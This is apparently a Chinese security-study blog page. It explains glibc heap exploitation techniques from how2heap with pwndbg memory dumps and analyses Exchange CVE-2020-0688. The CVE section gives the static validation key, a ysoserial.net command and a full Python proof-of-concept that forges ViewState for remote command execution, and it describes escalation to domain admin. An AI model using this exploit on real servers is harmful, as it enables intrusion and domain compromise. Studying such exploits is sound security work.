在 glibc/malloc/malloc.c 中的 _int_malloc 有这么一段代码,当将一个 unsorted bin 取出的时候,会将 bck->fd 的位置写入本 Unsorted Bin 的位置。1
2
3
4
5/* remove from unsorted list */
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): corrupted unsorted chunks 3");
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);
利用代码
1 | #include <stdio.h> |
具体分析
p[1]=(unsigned long)(&stack_var-2);执行前后
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82pwndbg> bins
tcachebins
empty
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x55555555c250 —▸ 0x7ffff7dd2ca0 (main_arena+96) ◂— 0x55555555c250
smallbins
empty
largebins
empty
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x55555555c000
Size: 0x251
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x55555555c250
Size: 0x421
fd: 0x7ffff7dd2ca0
bk: 0x7ffff7dd2ca0
Allocated chunk
Addr: 0x55555555c670
Size: 0x200
Top chunk | PREV_INUSE
0x55555555c260: 0x00007ffff7dd2ca0 0x00007ffff7dd2ca0
0x55555555c270: 0x0000000000000000 0x0000000000000000
0x55555555c280: 0x0000000000000000 0x0000000000000000
0x55555555c290: 0x0000000000000000 0x0000000000000000
//------------------------------------------------
pwndbg> x/10x 0x55555555c250
0x55555555c250: 0x0000000000000000 0x0000000000000421
0x55555555c260: 0x00007ffff7dd2ca0 0x00007fffffffe0e8
0x55555555c270: 0x0000000000000000 0x0000000000000000
0x55555555c280: 0x0000000000000000 0x0000000000000000
0x55555555c290: 0x0000000000000000 0x0000000000000000
pwndbg> bins
tcachebins
empty
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all [corrupted]
FD: 0x55555555c250 —▸ 0x7ffff7dd2ca0 (main_arena+96) ◂— 0x55555555c250
BK: 0x55555555c250 —▸ 0x7fffffffe0e8 —▸ 0x55555555c260 ◂— 0x0
smallbins
empty
largebins
empty
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x55555555c000
Size: 0x251
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x55555555c250
Size: 0x421
fd: 0x7ffff7dd2ca0
bk: 0x7fffffffe0e8
Allocated chunk
Addr: 0x55555555c670
Size: 0x200
Top chunk | PREV_INUSE
Addr: 0x55555555c870
Size: 0x20791malloc(0x410)
unsorted_chunks 0x7ffff7dd2ca0
victim=unsorted_chunks -> bk=0x000055555555c250
bck= victim->bk = 0x00007fffffffe0e8
bck->fd=0x00007fffffffe0f8=0x7ffff7dd2ca0
- victim = unsorted_chunks(av)->bk=p
- bck = victim->bk=p->bk = target addr-16
- unsorted_chunks(av)->bk = bck=target addr-16
- bck->fd = *(target addr -16+16) = unsorted_chunks(av)
house_of_einherjar
利用原理
在栈上构造一个fake chunk,申请两块chunk,利用单字节溢出将覆盖第二块chunk的size,使其prev_in_use标志变为0,再将第二块chunk的prev_size字段覆盖为(chunk_b地址-fakechunk地址),同时为了绕过检查,还需要将 fake chunk 的 size 字段与 chunk b 的 prev_size 字段相匹配,此时free chunkb,由于prev_size为0触发consolidate,将第一块chunk与第二块chunk合并。consolidate时chunk b的prev_size为(chunk_b地址-fakechunk地址),导致最后使程序算出错误的free chunk地址(chunk_b-prev_size=chunk_b-chunk_b+fakechunk),此时再malloc即可以得到一块位于栈上的fakechunk
利用代码
1 | #include <stdio.h> |
fake_chunk[5] = (size_t) fake_chunk 构造完fakechunk以后
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25pwndbg> p fake_chunk
$1 = {256, 256, 140737488348400, 140737488348400, 140737488348400, 140737488348400}
pwndbg> p/x fake_chunk
$2 = {0x100, 0x100, 0x7fffffffe4f0, 0x7fffffffe4f0, 0x7fffffffe4f0, 0x7fffffffe4f0}
pwndbg> p/x &fake_chunk
$3 = 0x7fffffffe4f0
pwndbg> x/20gx 0x7fffffffe4f0
0x7fffffffe4f0: 0x0000000000000100 0x0000000000000100
0x7fffffffe500: 0x00007fffffffe4f0 0x00007fffffffe4f0
0x7fffffffe510: 0x00007fffffffe4f0 0x00007fffffffe4f0
0x7fffffffe520: 0x00007fffffffe610 0x25c3bd6b0b1b9500
0x7fffffffe530: 0x00005555555555f0 0x00007ffff7a44b8e
0x7fffffffe540: 0x0000000000040000 0x00007fffffffe618
0x7fffffffe550: 0x00000001f7b96fc8 0x0000555555555229
0x7fffffffe560: 0x0000000000000000 0x298666c63b010ef3
0x7fffffffe570: 0x0000555555555140 0x00007fffffffe610
0x7fffffffe580: 0x0000000000000000 0x0000000000000000
pwndbg> stack 20
00:0000│ rsp 0x7fffffffe4c0 ◂— 0x38 /* '8' */
01:0008│ 0x7fffffffe4c8 —▸ 0x55555555c260 ◂— 0x0
02:0010│ 0x7fffffffe4d0 ◂— 0xc2
03:0018│ 0x7fffffffe4d8 —▸ 0x7fffffffe50e ◂— 0x7fffffffe4f00000
04:0020│ 0x7fffffffe4e0 ◂— 0x1
05:0028│ 0x7fffffffe4e8 —▸ 0x7ffff7ac1821 (handle_intel.constprop+145) ◂— test rax, rax
06:0030│ rax 0x7fffffffe4f0 ◂— 0x100a[real_a_size] = 0;覆盖掉chunk_b的prev_in_use标志位为0(501->500)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20pwndbg> x/30gx 0x55555555c250
0x55555555c250: 0x0000000000000000 0x0000000000000041
0x55555555c260: 0x0000000000000000 0x0000000000000000
0x55555555c270: 0x0000000000000000 0x0000000000000000
0x55555555c280: 0x0000000000000000 0x0000000000000000
0x55555555c290: 0x0000000000000000 0x0000000000000500
0x55555555c2a0: 0x0000000000000000 0x0000000000000000
0x55555555c2b0: 0x0000000000000000 0x0000000000000000
0x55555555c2c0: 0x0000000000000000 0x0000000000000000
0x55555555c2d0: 0x0000000000000000 0x0000000000000000
0x55555555c2e0: 0x0000000000000000 0x0000000000000000
0x55555555c2f0: 0x0000000000000000 0x0000000000000000
0x55555555c300: 0x0000000000000000 0x0000000000000000
0x55555555c310: 0x0000000000000000 0x0000000000000000
0x55555555c320: 0x0000000000000000 0x0000000000000000
0x55555555c330: 0x0000000000000000 0x0000000000000000
pwndbg> p a
$6 = (uint8_t *) 0x55555555c260 ""
pwndbg> p b
$7 = (uint8_t *) 0x55555555c2a0 ""用fake_size覆盖chunkb的prev_size,fake_size大小为chunk_b地址-fakechunk地址
1
2
3
4
5
6
7
8pwndbg> x/30gx 0x55555555c250
0x55555555c250: 0x0000000000000000 0x0000000000000041
0x55555555c260: 0x0000000000000000 0x0000000000000000
0x55555555c270: 0x0000000000000000 0x0000000000000000
0x55555555c280: 0x0000000000000000 0x0000000000000000
0x55555555c290: 0xffffd5555555dda0 0x0000000000000500
0x55555555c2a0: 0x0000000000000000 0x0000000000000000
0x55555555c2b0: 0x0000000000000000 0x0000000000000000free(b)由于进行了错误的consolidate,free以后指向了错误的area
1 |
- d = malloc(0x200);再次malloc即可得到我们的fakechunk,因为size_t fake_size = (size_t)((b-sizeof(size_t)2) - (uint8_t)fake_chunk);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15pwndbg> p d
$9 = (uint8_t *) 0x7fffffffe500 "\360\344\377\377\377\177"
pwndbg> p b
$19 = (uint8_t *) 0x55555555c2a0 ""
pwndbg> p/x &fake_chunk
$13 = 0x7fffffffe4f0
pwndbg> p/x fake_chunk
$8 = {0x100, 0xffffd5555555dda0, 0x7fffffffe4f0, 0x7fffffffe4f0, 0x7fffffffe4f0, 0x7fffffffe4f0}
pwndbg> x/20gx 0x7fffffffe4f0
0x7fffffffe4f0: 0x0000000000000100 0xffffd5555555dda0
0x7fffffffe500: 0x00007fffffffe4f0 0x00007fffffffe4f0
0x7fffffffe510: 0x00007fffffffe4f0 0x00007fffffffe4f0
0x7fffffffe520: 0x00007fffffffe610 0x25c3bd6b0b1b9500
>>> hex(0x1ffff55555555c2a0-0xffffd5555555dda0)='0xffff7fffffffe500'
House_of_Orange
利用原理
分配了一个0x400大小的chunk,此时top chunk 剩余0x20c00,如果0x400的chunk存在溢出漏洞,我们覆盖掉top chunk的大小为0xc01。然后我们申请一个大小大于top chunk size的chunk,malloc会试着扩大top chunk,在老的top chunk之后新申请一块top chunk并且老的top chunk被释放放入unsorted bins中。再次利用溢出漏洞用用_IO_list_all - 16( _IO_list_all可以通过old top chunk的fd/bk推算出来)来覆盖unsorted bins的bk,这时再申请一个大小大于top chunk的chunk,sysmalloc会被调用,接着调用_int_free
利用代码
1 | #define _GNU_SOURCE |
how2heap2
Poison_Null_Byte
利用原理
申请chunk a,b,c 然后free b,然后利用某个漏洞null_byte溢出覆盖b的chunk size(0x210->0x200),此时再次malloc b1,b2,会修改chunk c的prev_inuse size,但是因为b的chunk size被缩小,导致没有正确修改到chunk c的prev_inuse size。所以chunk c依然认为chunk b为原来的大小且属于free状态,这个时候free c,就会把错误的b和c合并,得到一块可以覆盖b1,b2的chunk
利用代码
1 | #include <stdio.h> |
具体分析
在分配内存时,malloc 会先到 unsorted bin(或者fastbins) 中查找适合的被 free 的 chunk,如果没有,就会把 unsorted bin 中的所有 chunk 分别放入到所属的 bins 中,然后再去这些 bins 里去找合适的 chunk。可以看到第三次 malloc 的地址和第一次相同,即 malloc 找到了第一次 free 掉的 chunk,并把它重新分配。
- malloc后,b
1 | pwndbg> heap |
- free b后c的prev_size修改成了0x110
1 | pwndbg> bins |
a[real_a_size] = 0;real_a_size为0x108,a指向0x55555555d010,这个操作会覆盖b的chunk size为200,比原来的size缩小了0x10
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24pwndbg> x/10x 0x55555555d100
0x55555555d100: 0x0000000000000000 0x0000000000000000
0x55555555d110: 0x0000000000000000 0x0000000000000200
0x55555555d120: 0x00007ffff7dd4b78 0x00007ffff7dd4b78
0x55555555d130: 0x0000000000000000 0x0000000000000000
0x55555555d140: 0x0000000000000000 0x0000000000000000
…………
0x55555555d310: 0x0000000000000200 0x0000000000000000
0x55555555d320: 0x0000000000000210 0x0000000000000110
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x55555555d000
Size: 0x111
Free chunk (unsortedbin)
Addr: 0x55555555d110
Size: 0x200
fd: 0x7ffff7dd4b78
bk: 0x7ffff7dd4b78
Allocated chunk
Addr: 0x55555555d310
Size: 0x00这个时候b1=alloc(0x100),由于b的chunk_size被减少了10,malloc以后会修改chunk c的fake prev_inuse size(原来应该修改0x55555555d320,但是b的size被篡改后实际会修改0x55555555d310)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x55555555d000
Size: 0x111
Allocated chunk | PREV_INUSE
Addr: 0x55555555d110
Size: 0x111
Allocated chunk | PREV_INUSE
Addr: 0x55555555d220
Size: 0x91
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x55555555d2b0
Size: 0x61
fd: 0x7ffff7dd4b78
bk: 0x7ffff7dd4b78
Allocated chunk
Addr: 0x55555555d310
Size: 0x00
0x55555555d110: 0x0000000000000000 0x0000000000000111
0x55555555d120: 0x00007ffff7dd4d68 0x00007ffff7dd4d68
0x55555555d220: 0x0000000000000000 0x0000000000000091
0x55555555d230: 0x00007ffff7dd4b78 0x00007ffff7dd4b78
0x55555555d2b0: 0x0000000000000000 0x0000000000000061
0x55555555d2c0: 0x00007ffff7dd4b78 0x00007ffff7dd4b78
0x55555555d310: 0x00000000000000f0 0x0000000000000000
0x55555555d320: 0x0000000000000210 0x0000000000000110b2 = malloc(0x80);同样是修改0x55555555d310(c的fake prev_inuse size)
1
20x55555555d310: 0x0000000000000060 0x0000000000000000
0x55555555d320: 0x0000000000000210 0x0000000000000110free(b1);free(c);得到大小为0x321的unsortedbin(因为free c的时候,计算使用的是c真实的prev_inuse size即未被修改的210,并且此时b1因为已经被free了,导致consolidate的操作,最后分配到一个能够覆盖b2的chunk)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x55555555d000
Size: 0x111
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x55555555d110
Size: 0x321
fd: 0x55555555d2b0
bk: 0x7ffff7dd4b78
Allocated chunk
Addr: 0x55555555d430
Size: 0x110
Top chunk | PREV_INUSE
Addr: 0x55555555d540
Size: 0x20ac1malloc(0x300)这是会把unsortedbin中的0x55555555d110取出来,起始地址为0x55555555d110,大小为0x321,覆盖了b2
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x55555555d000
Size: 0x111
Allocated chunk | PREV_INUSE
Addr: 0x55555555d110
Size: 0x321
Allocated chunk | PREV_INUSE
Addr: 0x55555555d430
Size: 0x111
Top chunk | PREV_INUSE
Addr: 0x55555555d540
Size: 0x20ac1
House_of_Lore
利用原理
再stack上构造一个fake small bins链,然后free一个chunk,利用某个漏洞修改这个chunk的bk,让他指向我们构造的small bins链,那么之后的malloc最先会得到这个free的chunk,再次malloc会得到fake small bins链里面的fake chunk地址,由于fake chunk由我们控制,相当于我们可以控制任意地址了
利用代码
1 | /* |
具体分析
伪造small bin chain ,让 fake chunk 1 的 fd 指向 victim chunk,bk 指向 fake chunk 2;fake chunk 2 的 fd 指向 fake chunk 1,这样一个 small bin 链就差不多了:
1
2
3
4pwndbg> p stack_buffer_1
$16 = {0x0, 0x0, 0x55555555c000, 0x7fffffffe0d0}
pwndbg> p stack_buffer_2
$15 = {0x0, 0x0, 0x7fffffffe0f0}free victim后,该chunk被分配到unsortedbin里面
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29pwndbg> heap
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x55555555c000
Size: 0x111
fd: 0x7ffff7dd4b78
bk: 0x7ffff7dd4b78
Allocated chunk
Addr: 0x55555555c110
Size: 0x3f0
Top chunk | PREV_INUSE
Addr: 0x55555555c500
Size: 0x20b01
pwndbg> p victim
$11 = (intptr_t *) 0x55555555c010
pwndbg> p victim
$12 = (intptr_t *) 0x55555555c010
pwndbg> x/10x 0x55555555c000
0x55555555c000: 0x00000000 0x00000000 0x00000111 0x00000000
0x55555555c010: 0xf7dd4b78 0x00007fff 0xf7dd4b78 0x00007fff
0x55555555c020: 0x00000000 0x00000000
pwndbg> x/10gx 0x55555555c000
0x55555555c000: 0x0000000000000000 0x0000000000000111
0x55555555c010: 0x00007ffff7dd4b78 0x00007ffff7dd4b78
0x55555555c020: 0x0000000000000000 0x0000000000000000
0x55555555c030: 0x0000000000000000 0x0000000000000000
0x55555555c040: 0x0000000000000000 0x0000000000000000void *p2 = malloc(1200);因为0x1200 无法被UnsortedBin和small bin处理,所以原本在 unsorted bin 中的 chunk,会被整理回各自的所属的 bins 中,这里就是 small bins
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26pwndbg> p victim
$13 = (intptr_t *) 0x55555555c010
pwndbg> x/10x 0x55555555c000
0x55555555c000: 0x0000000000000000 0x0000000000000111
0x55555555c010: 0x00007ffff7dd4c78 0x00007ffff7dd4c78
0x55555555c020: 0x0000000000000000 0x0000000000000000
0x55555555c030: 0x0000000000000000 0x0000000000000000
0x55555555c040: 0x0000000000000000 0x0000000000000000
pwndbg> heap
Free chunk (smallbins) | PREV_INUSE
Addr: 0x55555555c000
Size: 0x111
fd: 0x7ffff7dd4c78
bk: 0x7ffff7dd4c78
Allocated chunk
Addr: 0x55555555c110
Size: 0x3f0
Allocated chunk | PREV_INUSE
Addr: 0x55555555c500
Size: 0x4c1
Top chunk | PREV_INUSE
Addr: 0x55555555c9c0
Size: 0x20641假设存在一个漏洞,可以让我们修改 victim chunk 的 bk 指针。那么就修改 bk 让它指向我们在栈上布置的 fake small bin;victim[1] = (intptr_t)stack_buffer_1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23pwndbg> p stack_buffer_1
$16 = {0x0, 0x0, 0x55555555c000, 0x7fffffffe0d0}
pwndbg> p stack_buffer_2
$15 = {0x0, 0x0, 0x7fffffffe0f0}
pwndbg> heap
Free chunk (smallbins) | PREV_INUSE
Addr: 0x55555555c000
Size: 0x111
fd: 0x7ffff7dd4c78
bk: 0x7fffffffe0f0
Allocated chunk
Addr: 0x55555555c110
Size: 0x3f0
Allocated chunk | PREV_INUSE
Addr: 0x55555555c500
pwndbg> x/10gx 0x7fffffffe0d0
0x7fffffffe0d0: 0x0000000000000000 0x0000000000000000
0x7fffffffe0e0: 0x00007fffffffe0f0 0x00005555555557ad
0x7fffffffe0f0: 0x0000000000000000 0x0000000000000000
0x7fffffffe100: 0x000055555555c000 0x00007fffffffe0d0
0x7fffffffe110: 0x00007fffffffe200 0xe853fa59889b9000small bins 是先进后出的,节点的增加发生在链表头部,而删除发生在尾部。而ictim chunk是最后进入small bins 的,所以这时整条链是这样的:
1
head <-> fake chunk2 0x00007fffffffe0f0<->0x00007fffffffe0d0 fake chunk 1 0x000055555555c000 <-> 0x7fffffffe0f0 victim chunk <-> 0x7ffff7dd4c78 tail
接下来的第一个 malloc,会返回 victim chunk 的地址,再次malloc即可得到fake chunk1的地址,且地址在栈上我们可以控制。
Overlapping_Chunks
利用原理
free一个chunk,加入unsorted bin,修改加大其size,再malloc,得到一个能覆盖下一个chunk的chunk
利用代码
1 | /* |
具体分析
*(p2-1) = evil_chunk_size使free掉的chunk大小被篡改0x101->0x181
1
2
3
4
5
6
7
8
9
10
11
12
13
14pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x55555555b000
Size: 0x101
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x55555555b100
Size: 0x181
fd: 0x7ffff7dd4b78
bk: 0x7ffff7dd4b78
Top chunk | PREV_INUSE
Addr: 0x55555555b280
Size: 0x20d81p4 = malloc(evil_region_size);可以看到p4的大小为0x181,覆盖掉了p3。此时p4还没有被赋值
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x55555555b000
Size: 0x101
Allocated chunk | PREV_INUSE
Addr: 0x55555555b100
Size: 0x181
Top chunk | PREV_INUSE
Addr: 0x55555555b280
Size: 0x20d81
pwndbg> p p3
$3 = (intptr_t *) 0x55555555b210
pwndbg> p p4
$4 = (intptr_t *) 0x55555555b110
pwndbg> x/100x 0x55555555b100
0x55555555b100: 0x3131313131313131 0x0000000000000181
0x55555555b110: 0x00007ffff7dd4b78 0x00007ffff7dd4b78
0x55555555b120: 0x3232323232323232 0x3232323232323232
0x55555555b130: 0x3232323232323232 0x3232323232323232
0x55555555b140: 0x3232323232323232 0x3232323232323232
0x55555555b150: 0x3232323232323232 0x3232323232323232
0x55555555b160: 0x3232323232323232 0x3232323232323232
0x55555555b170: 0x3232323232323232 0x3232323232323232
0x55555555b180: 0x3232323232323232 0x3232323232323232
0x55555555b190: 0x3232323232323232 0x3232323232323232
0x55555555b1a0: 0x3232323232323232 0x3232323232323232
0x55555555b1b0: 0x3232323232323232 0x3232323232323232
0x55555555b1c0: 0x3232323232323232 0x3232323232323232
0x55555555b1d0: 0x3232323232323232 0x3232323232323232
0x55555555b1e0: 0x3232323232323232 0x3232323232323232
0x55555555b1f0: 0x3232323232323232 0x3232323232323232
0x55555555b200: 0x0000000000000100 0x0000000000000080
0x55555555b210: 0x3333333333333333 0x3333333333333333
0x55555555b220: 0x3333333333333333 0x3333333333333333
0x55555555b230: 0x3333333333333333 0x3333333333333333
0x55555555b240: 0x3333333333333333 0x3333333333333333
0x55555555b250: 0x3333333333333333 0x3333333333333333
0x55555555b260: 0x3333333333333333 0x3333333333333333
0x55555555b270: 0x3333333333333333 0x3333333333333333
0x55555555b280: 0x3333333333333333 0x0000000000020d81
0x55555555b290: 0x0000000000000000 0x0000000000000000
p4 = xK???
p3 = 333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333?memset(p4, ‘4’, evil_region_size);为p4赋值,覆盖掉了p3
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26pwndbg> x/100x 0x55555555b100
0x55555555b100: 0x3131313131313131 0x0000000000000181
0x55555555b110: 0x3434343434343434 0x3434343434343434
0x55555555b120: 0x3434343434343434 0x3434343434343434
0x55555555b130: 0x3434343434343434 0x3434343434343434
0x55555555b140: 0x3434343434343434 0x3434343434343434
0x55555555b150: 0x3434343434343434 0x3434343434343434
0x55555555b160: 0x3434343434343434 0x3434343434343434
0x55555555b170: 0x3434343434343434 0x3434343434343434
0x55555555b180: 0x3434343434343434 0x3434343434343434
0x55555555b190: 0x3434343434343434 0x3434343434343434
0x55555555b1a0: 0x3434343434343434 0x3434343434343434
0x55555555b1b0: 0x3434343434343434 0x3434343434343434
0x55555555b1c0: 0x3434343434343434 0x3434343434343434
0x55555555b1d0: 0x3434343434343434 0x3434343434343434
0x55555555b1e0: 0x3434343434343434 0x3434343434343434
0x55555555b1f0: 0x3434343434343434 0x3434343434343434
0x55555555b200: 0x3434343434343434 0x3434343434343434
0x55555555b210: 0x3434343434343434 0x3434343434343434
0x55555555b220: 0x3434343434343434 0x3434343434343434
0x55555555b230: 0x3434343434343434 0x3434343434343434
0x55555555b240: 0x3434343434343434 0x3434343434343434
0x55555555b250: 0x3434343434343434 0x3434343434343434
0x55555555b260: 0x3434343434343434 0x3434343434343434
0x55555555b270: 0x3434343434343434 0x3434343434343434
0x55555555b280: 0x3434343434343434 0x0000000000020d81
Overlapping_Chunks_2
利用原理
malloc 5个chunk,修改chunk2的size将其变大,然后free这个chunk,修改了
利用代码
1 | /* |
具体分析
- (unsigned int )((unsigned char )p1 + real_size_p1 ) = real_size_p2 + real_size_p3 + prev_in_use + sizeof(size_t) 2;执行前后p2的chunksize被修改成了p2+p3+prev_in_use
1 | pwndbg> heap |
free(p2);后合并了chunk4和chunk2,并且修改了chunk5的prev_size得到一个大的free chunk,而这个free chunk覆盖了chunk3
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x55555555b000
Size: 0x3f1
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x55555555b3f0
Size: 0xbd1
fd: 0x7ffff7dd4b78
bk: 0x7ffff7dd4b78
Allocated chunk
Addr: 0x55555555bfc0
Size: 0x3f0
Top chunk | PREV_INUSE
Addr: 0x55555555c3b0
Size: 0x1fc51
wndbg> x/10gx 0x55555555bfb0
0x55555555bfb0: 0x4444444444444444 0x4444444444444444
0x55555555bfc0: 0x0000000000000bd0 0x00000000000003f0
0x55555555bfd0: 0x4545454545454545 0x4545454545454545
0x55555555bfe0: 0x4545454545454545 0x4545454545454545p6 = malloc(2000);得到前面free的大chunk
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x555555559000
Size: 0x291
Allocated chunk | PREV_INUSE
Addr: 0x555555559290
Size: 0x3f1
Allocated chunk | PREV_INUSE
Addr: 0x555555559680
Size: 0x7e1
Free chunk (tcache) | PREV_INUSE
Addr: 0x555555559e60
Size: 0x3f1
fd: 0x00
Allocated chunk | PREV_INUSE
Addr: 0x55555555a250
Size: 0x3f1
chunk p6 from 0x55555555b400 to 0x55555555bbd8
chunk p3 from 0x55555555b7f0 to 0x55555555bbd8修改p6的内容即等于修改p3的内容
CVE-2020-0688
前置知识
.NET 相关漏洞中,ViewState也算是一个常客了。Exchange CVE-2020-0688,SharePoint CVE-2020-16952 中都出现过ViewState的身影。其实ViewState 并不算漏洞,只是ASP.NET 在生成和解析ViewState时使用ObjectStateFormatter 进行序列化和反序列化,虽然在序列化后又进行了加密和签名,但是一旦泄露了加密和签名所使用的算法和密钥,我们就可以将ObjectStateFormatter 的反序列化payload 伪装成正常的ViewState,并触发ObjectStateFormatter 的反序列化漏洞。
加密和签名序列化数据所用的算法和密钥存放在web.confg 中,Exchange 0688 是由于所有安装采用相同的默认密钥,而Sharepoitn 16952 则是因为泄露web.confg 。
.NET 反序列化神器 ysoserial.net 中有关于ViewState 的插件,其主要作用就是利用泄露的算法和密钥伪造ViewState的加密和签名,触发ObjectStateFormatter 反序列化漏洞。但是我们不应该仅仅满足于工具的使用,所以特意分析了ViewState 的加密和签名过程作成此文,把工具用的明明白白的。
.Net 反序列化之 ViewState 利用
漏洞详情
CVE-2020-0688 漏洞是因为用于保证viewstate安全性的静态密钥在所有Microsoft Exchange Server在安装后的web.config文件中都是相同的1
2validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF
validationalg = SHA1
我们要构造ViewState还需要viewstateuserkey和__VIEWSTATEGENERATOR,这两个参数可以在用户登录后通过前端页面直接获取/ecp/default.aspx
漏洞利用
当拥有了validationkey,validationalg,viewstateuserkey,__VIEWSTATEGENERATOR,使用YSoSerial.net生成序列化后的恶意的ViewState数据。1
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo OOOPS!!! > c:/Vuln_Server.txt" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="B97B4E27" --viewstateuserkey="05ae4b41-51e1-4c3a-9241-6b87b169d663" --isdebug –islegacy
然后对ViewState的payload进行URL编码,构造一个url如下:1
/ecp/default.aspx?__VIEWSTATEGENERATOR=<generator>&__VIEWSTATE=<ViewState>
由于Exchange Server的机器用户具备SYSTEM权限,默认在域内拥有WriteAcl的权限,因此,可以通过修改ACL的DS-Replication-Get-Changes和DS-Replication-Get-Changes-All来赋予任何一个用户Dcsync的权限,所以这个漏洞的最大危害在于:在域内拥有一个普通用户权限的情况下,通过Exchange Server上以system用户的身份执行任意的命令,再利用Exchange Server的WriteAcl权限,从而达到域管权限。
POC
github上的poc1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62#coding:utf-8
#author:Jumbo
import readline
import requests
import re
import sys
import urllib3
urllib3.disable_warnings()
from urllib.parse import quote
def Exp(url,ASP_NET_SessionId,generator_result,command):
validationkey = 'CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF'
VIEWSTATECOMMAND = 'ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "{command}" --validationalg="SHA1" --validationkey="{validationkey}" --generator="{generator_result}" --viewstateuserkey="{ASP_NET_SessionId}" --isdebug –islegacy'.format(command=command,validationkey=validationkey, generator_result=generator_result,ASP_NET_SessionId=ASP_NET_SessionId)
print('please execute \n{VIEWSTATECOMMAND}'.format(VIEWSTATECOMMAND=VIEWSTATECOMMAND))
fuckkk = input('please write your ysoserial generate payload: ')
fuckkk = quote(fuckkk, 'utf-8')
expurl = 'https://{url}/ecp/default.aspx?__VIEWSTATEGENERATOR={generator_result}&__VIEWSTATE={fuckkk}'.format(url=url,generator_result=generator_result,fuckkk=fuckkk)
print(expurl)
expgo = s.get(expurl,verify=False)
print(expgo.status_code)
print('gogogoggogoggogogogogogogogogogog')
def GetSomething():
url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
command = sys.argv[4]
destination = 'https://' + url + '/ecp/default.aspx'
authurl = 'https://' + url + '/owa/auth.owa'
logindata = 'destination={destination}&flags=4&forcedownlevel=0&username={username}&password={password}&passwordText=&isUtf8=1'.format(destination=destination,username=username, password=password)
headers = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:73.0) Gecko/20100101 Firefox/73.0","Connection":"close","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate","Content-Type":"application/x-www-form-urlencoded","Cookie":"PrivateComputer=true; PBack=0"}
login = s.post(authurl, data=logindata,headers=headers,verify=False)
logincontent = login.content
# print(logincontent)
ASP_NET_SessionId = login.cookies['ASP.NET_SessionId']
if ASP_NET_SessionId:
print('got ASP_NET_SessionId Success')
print(ASP_NET_SessionId)
else:
print('got ASP_NET_SessionId Fail')
generator_regex = b'VIEWSTATEGENERATOR" value="(.*?)"'
try:
generator_result = re.findall(generator_regex,logincontent)[0].decode('utf-8')
if generator_result:
print('got generator_result Success')
print(generator_result)
else:
print('got generator_result Fail,try default')
except Exception as e:
generator_result = 'B97B4E27'
print(generator_result)
Exp(url,ASP_NET_SessionId,generator_result,command)
s = requests.Session()
GetSomething()
ref
https://nosec.org/home/detail/4158.html
https://www.freebuf.com/articles/web/228681.html
https://www.anquanke.com/post/id/199921
https://github.com/random-robbie/cve-2020-0688
how2heap1
前置知识
四个不同类型chunk区别
